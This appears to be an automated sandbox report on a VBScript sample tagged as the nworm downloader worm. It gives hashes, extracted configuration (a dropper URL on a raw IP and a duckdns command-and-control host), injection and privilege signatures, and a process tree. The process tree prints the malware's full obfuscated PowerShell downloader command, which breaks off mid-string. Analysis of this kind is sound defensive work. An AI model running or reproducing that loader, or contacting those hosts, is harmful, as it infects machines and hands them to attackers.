nworm | 386128b90172d3ff50f69382446600ac2703d5a50907c02aac25db73c7be50b1

General

Target
OHTEYYRNYRTUOHCKYTYP.vbs
Size 17KB
Sample220127-tk8elsgah3
SHA256 1b976a1fa26c4118d09cd6b1eaeceafccc783008c22da58d6f5b1b3019fa1ba4
MD5 e04e4cb7e410b885babba54cd59d5ae9
SHA1 4a4c1dc6d7a391aba21719e2b5595c11a172fd8c
SHA512 b1824f04a2b3a270a54aaba06efacd06af36d8f508fe4b41dcf6bf3901c129c063d77eaa79d5b2fca3b92cac07aad36a4178af188d3f3bb5b4af227b87cb7941
MD5 SHA1 SHA512

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://15.188.246.78/Q/RILSXDKOPJHN.TXT

Extracted

Family

nworm

Version

v0.3.8

C2

nyanmoney02.duckdns.org:9031

Mutex

2e3fb6d0

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	3880	powershell.exe
17	3880	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3880 set thread context of 1488	3880	powershell.exe	70

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3880	powershell.exe
3880	powershell.exe
3880	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3880	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 3880	2508	WScript.exe	68
PID 2508 wrote to memory of 3880	2508	WScript.exe	68
PID 3880 wrote to memory of 1488	3880	powershell.exe	70
PID 3880 wrote to memory of 1488	3880	powershell.exe	70
PID 3880 wrote to memory of 1488	3880	powershell.exe	70
PID 3880 wrote to memory of 1488	3880	powershell.exe	70
PID 3880 wrote to memory of 1488	3880	powershell.exe	70
PID 3880 wrote to memory of 1488	3880	powershell.exe	70
PID 3880 wrote to memory of 1488	3880	powershell.exe	70
PID 3880 wrote to memory of 1488	3880	powershell.exe	70

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\OHTEYYRNYRTUOHCKYTYP.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'http://15.188.246.78/Q/RILSXDKOPJHN.TXT';Function CHGBGWUCPVSBXIVTHVKR([String] $YSPYIFQRKOLKROCJSQSO) {$SCOEXRUXFFEKPCIXXRUS = [System.Collections.Generic.List[Byte]]::new();for ($BCTNTQKOTEUUCVYWRWWX = 0; $BCTNTQKOTEUUCVYWRWWX -lt $YSPYIFQRKOLKROCJSQSO.Length; $BCTNTQKOTEUUCVYWRWWX +=8) {$SCOEXRUXFFEKPCIXXRUS.Add([Convert]::ToByte($YSPYIFQRKOLKROCJSQSO.Substring($BCTNTQKOTEUUCVYWRWWX, 8), 2))}return [System.Text.Encoding]::ASCII.GetString($SCOEXRUXFFEKPCIXXRUS.ToArray())};$RVIGZABQBSOIJNIGJODS = CHGBGWUCPVSBXIVTHVKR 'KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ111KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11111KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1KDJIRFIIKQ11KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ11KDJIRFIIKQ11KDJIRFIIKQ1KDJIRFIIKQKDJIRFIIKQKDJIRFIIKQKDJIRFIIKQ1111KDJIRFIIKQ11KDJIRFIIKQ1KDJIRF